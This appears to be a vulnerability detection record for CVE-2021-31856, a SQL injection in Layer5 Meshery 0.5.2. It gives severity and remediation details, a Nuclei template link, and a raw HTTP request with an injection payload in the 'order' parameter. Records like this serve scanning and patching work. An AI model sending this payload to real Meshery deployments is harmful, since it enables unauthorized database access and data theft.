| Title | Layer5 Meshery 0.5.2 - SQL Injection |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856). |
| CVSS Score | 9.8 |
| EPSS Score | 0.79924 |
| CVE ID | CVE-2021-31856 |
| CWE ID | CWE-89 |
| Tags | cve2021 cve sqli layer5 vuln |
Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
GET /api/experimental/patternfile?order=id%3Bselect(md5(1130))&page=0&page_size=0 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31856.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-31856.pcap
N/AN/A